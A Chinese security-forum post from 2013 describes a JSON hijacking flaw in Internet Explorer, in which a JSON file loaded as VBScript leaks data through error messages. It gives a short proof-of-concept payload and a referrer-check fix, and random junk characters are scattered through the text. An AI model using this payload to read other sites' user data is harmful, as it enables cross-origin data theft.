找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1944|回复: 0
打印 上一主题 下一主题

IE通用JSON劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
2 t4 Z. }+ S: q3 Z1 \+ Z8 ~/ {6 P3 E1 }/ T8 d9 `, [2 }4 v
由于某些资源容器对数据处理不当导致json劫持漏洞.
& N. M2 U- p9 T! T6 }% D详细说明:2 |2 p* |: }9 S# O. m- J
由于ie支持vbscript,所以script元素可以指定成vbscript语言:, Q! f! g# o4 u! |% T) i0 f3 g
<script language=vbscript></script>& g+ W  p$ T4 ], d( e5 t
7 ]9 i! h& m/ Y- |: W) r' \) `
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.8 i0 K% D9 n4 D& a! e
漏洞证明:) G$ I& C7 h# ?  u% {% Q
<script>+ {, O8 C6 l+ L" Q) M
window.onerror=function(_){0 g% u( k& H& @& r
alert(_)
* ^6 d/ }" I5 g7 e# Z}; X* j$ T+ |4 u7 J
</script>8 j% R6 [& ]( Y- D
<script language=vbscript src=1.json></script>6 |3 @) z: R" J! K/ \$ E

" H# }7 j4 `+ w" E4 q5 l! w2 q0 J ( B& e1 x; c2 k
1.json:/ S3 k5 V4 P' _9 b) G
[{"name":"sogili","age":19}]& M  E9 ]6 N9 m  {' e' v
修复方案:
9 W) E. s! e! ~6 P# B+ ?网站业务对于这个问题可以通过验证referrer是否为同源来防御
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表